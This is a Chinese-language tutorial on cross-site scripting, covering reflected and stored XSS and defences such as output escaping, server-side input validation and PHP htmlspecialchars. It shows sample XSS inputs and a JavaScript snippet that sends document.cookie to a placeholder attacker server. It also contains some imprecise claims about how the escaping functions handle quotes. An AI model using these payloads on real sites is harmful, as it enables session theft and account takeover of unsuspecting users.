XSS又称CSS,全称Cross SiteScript ;
跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式;
原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.
如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。
根据XSS攻击的效果可以分为几种类型
第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。如:点击恶意链接。
第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA(应用管理系统)系统,和CRM(客户管理系统)系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。当用户访问输出该数据的页面时,就会促发XSS攻击。具有很强的稳定性。
XSS 条件和攻击类型
攻击的条件
实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行。
看看常见的恶意字符XSS 输入:
1.XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");</script>
2.XSS 输入也可能是 HTML 代码段,譬如:
(1).网页不停地刷新 <meta http-equiv="refresh" content="0;">
(2).嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>
XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。
xss攻击流程
XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。
XSS攻击能做些什么
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。
XSS攻击防御
一、输出检查
根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,根据不同的场景使用正确的安全函数,否则效果适得其反。
二、输入检查
通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。
三、转换为安全的类型
类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可<div><img src="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>" /></div>
$aa = 'xxxxx'; (int)$aa;
四、智能过滤恶意代码
通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过html编辑器提交的数据
显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:javascript、vbscript,<script>等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的。
五、利用php htmlentities()函数
php防止XSS跨站脚本攻击的方法:是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数。
在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string)的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号("),不对单引号(')做转义。
所以,htmlspecialchars()函数更多的时候要加上第二个参数,应该这样用: htmlspecialchars($string,ENT_QUOTES)。当然,如果需要不转化如何的引号,用htmlspecialchars($string,ENT_NOQUOTES)。
另外,尽量少用htmlentities(), 在全部英文的时候htmlentities()和htmlspecialchars()没有区别,都可以达到目的。但是,中文情况下, htmlentities()却会转化所有的html代码,连同里面的它无法识别的中文字符也给转化了。
htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持不好,都不能转化, 所以用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS攻击,不能防止SQL注入攻击。
所有有打印的语句如echo,print等,在打印前都要使用htmlentities()进行过滤,这样可以防止XSS,注意中文要写出htmlentities($name,ENT_NOQUOTES,GB2312)。